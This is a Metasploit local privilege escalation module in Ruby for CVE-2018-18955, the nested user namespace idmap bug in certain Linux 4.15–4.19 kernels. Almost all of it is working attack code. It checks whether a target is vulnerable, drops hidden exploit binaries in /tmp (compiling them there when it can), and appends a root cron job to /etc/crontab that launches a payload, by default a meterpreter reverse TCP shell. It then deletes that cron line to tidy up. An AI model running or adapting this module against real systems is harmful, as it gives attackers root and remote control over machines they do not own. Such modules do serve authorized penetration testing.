Linux Nested User Namespace idmap Limit Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
        and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
        namespaces and kernel uid/gid mappings allow elevation to root
        (CVE-2018-18955).

        The target system must have unprivileged user namespaces enabled and
        the newuidmap and newgidmap helpers installed (from uidmap package).

        This module has been tested successfully on:

        Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;
        Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);
        Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
        Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jann Horn', # Discovery and exploit
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => 'Nov 15 2018',
      'Platform'       => ['linux'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'Privileged'     => true,
      'References'     =>
        [
          ['BID', '105941'],
          ['CVE', '2018-18955'],
          ['EDB', '45886'],
          ['PACKETSTORM', '150381'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
          ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'],
          ['URL', 'https://lwn.net/Articles/532593/'],
          ['URL', 'https://bugs.launchpad.net/bugs/1801924'],
          ['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
          ['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
          ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
          ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'AppendExit'       => true,
          'PrependSetresuid' => true,
          'PrependSetreuid'  => true,
          'PrependSetuid'    => true,
          'PrependFork'      => true,
          'WfsDelay'         => 60,
          'PAYLOAD'          => 'linux/x86/meterpreter/reverse_tcp'
        },
      'Notes' =>
        {
          'AKA' => ['subuid_shell.c']
        }
      ))
    register_options [
      OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
    end

    register_file_for_cleanup path
    chmod path, 0755
  end

  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file)
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    ['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
      unless setuid? path
        vprint_error "#{path} is not set-uid"
        return CheckCode::Safe
      end
      vprint_good "#{path} is set-uid"
    end

    # Patched in 4.18.19 and 4.19.2
    release = kernel_release
    v = Gem::Version.new release.split('-').first
    if v < Gem::Version.new('4.15') ||
       v >= Gem::Version.new('4.19.2') ||
       (v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19'))
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    CheckCode::Appears
  end

  def on_new_session(session)
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\""
    else
      session.shell_command("/bin/sed -i '\$ d' /etc/crontab")
    end
  ensure
    super
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload executables
    subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
    subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
    subshell_name = ".#{rand_text_alphanumeric 5..10}"
    subshell_path = "#{base_dir}/#{subshell_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')
      upload_and_compile subshell_path, exploit_data('subshell.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
      upload_and_chmodx subshell_path, exploit_data('subshell.out')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Adding cron job...'
    output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "
    output.each_line { |line| vprint_status line.chomp }

    crontab = read_file '/etc/crontab'
    unless crontab.include? payload_path
      fail_with Failure::Unknown, 'Failed to add cronjob'
    end

    print_good 'Success. Waiting for job to run (may take a minute)...'
  end
end

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